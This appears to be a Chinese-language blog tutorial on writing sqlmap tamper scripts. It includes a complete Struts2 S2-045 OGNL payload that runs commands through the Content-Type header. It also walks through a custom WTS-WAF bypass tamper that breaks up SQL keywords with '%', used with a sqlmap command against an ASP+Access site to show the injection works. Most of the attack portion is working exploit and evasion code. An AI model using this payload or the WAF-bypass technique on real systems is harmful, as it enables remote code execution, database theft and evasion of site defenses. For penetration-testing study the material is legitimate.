SQLMap tamper编写
简介
sqlmap
是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload
进行特定的更改以绕过waf/ids
可以理解为,sqlmap
在对漏洞网站自动化注入的时候,如果我们使用了tamper
脚本,sqlmap
的每个payload
都会经过tamper
这个包装车间的加工,然后再进行投递。
当我们使用网上公开的tamper
时,这个tamper
是怎么实现的我们不需要知道,只需要按照使用说明使用即可,但渗透测试中环境千变万化,我们总会遇到需要自己编写tamper
的场景,这也是本文的重点
使用方法
sqlmap.py XXXXX -tamper "模块名"
sqlmap
的tamper
目录下有一些简单的tamper
脚本,可以进行简单绕过
tamper结构简述
以escapequotes.py
这个tamper文件为例
见名知义,该tamper是用来转义的,将单引号转换成\\'
,双引号转换成 \\"
代码如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Slash escape single and double quotes (e.g. ' -> \')
>>> tamper('1" AND SLEEP(5)#')
'1\\\\" AND SLEEP(5)#'
"""
return payload.replace("'", "\\'").replace('"', '\\"')
简单解释一下结构
__priority__
是当前脚本调用优先等级,该优先级用于使用多个tamper时的执行顺序选择
在自带的tamper脚本中一共有以下几种优先级,还可以自定义-100~100
__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST
dependencies
函数声明该脚本适用或不适用的范围,可以为空,例如:
import os
from lib.core.common import singleTimeWarnMessage
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
# singleTimeWarnMessage() 用于在控制台中打印出警告信息
tamper
是主要的函数,接受的参数为payload
和**kwargs
,返回值为替换后的payload
这里可以看出返回的是使用了python字符串替换函数replace,将字符串中的单引号和双引号进行转义
payload.replace("'", "\\'").replace('"', '\\"')
而tamper
函数不仅有payload
参数,还有可变长参数**kwargs
def tamper(payload, **kwargs)
kwargs
是一个字典,我们输出出来看一下
def tamper(payload, **kwargs):
print(kwargs)
return payload
其结构为
{'headers': {}, 'delimiter': '&', 'hints': {}}
这里的kwargs['headers']
很明显是我们的请求头,我们可以对其进行自定义
如倾旋
师傅提到这样来执行s2-45
kwargs['headers']['Content-type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent
当然我们可以进行更多的自定义
编写一个简单的 bypass WTS-WAF tamper
了解了结构和说明之后,我们来编写一个bypass wts-waf 的 tamper 脚本,思路就跟之前提到的这里相同,只是将其关键字中间添加了%
号:https://www.cnblogs.com/Cl0ud/p/14345881.html
目标站点是asp+Access
,装着不知名版本的wts-waf
我们使用sqlmap
证明漏洞存在,tamper
内容为
'''
test bypass WTS-WAF
'''
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
payload=payload.lower()
payload=payload.replace('and','an%d')
payload=payload.replace('select','sel%ect')
payload=payload.replace('union','un%ion')
payload=payload.replace('sleep','sl%eep')
payload=payload.replace('or','o%r')
payload=payload.replace('between','bet%ween')
return payload
输入命令
sqlmap.py -u http://漏洞URL?class=16 --tamper=wts_waf -v 3
这里的-v 3
是为了看到payload
它共有七个等级,默认为1:
- 0、只显示python错误以及严重的信息。
- 1、同时显示基本信息和警告信息。(默认)
- 2、同时显示debug信息。
- 3、同时显示注入的payload。
- 4、同时显示HTTP请求。
- 5、同时显示HTTP响应头。
- 6、同时显示HTTP响应页面。
可以看到这里payload
中的关键字成功被加工
证明漏洞存在
想要通过注入点获取数据和进一步操作需要在简易版tamper
的基础上再进行修改,比如禁用函数关键字的绕过等等,下次再写,另外会写一些绕过最新WAF的文章 :)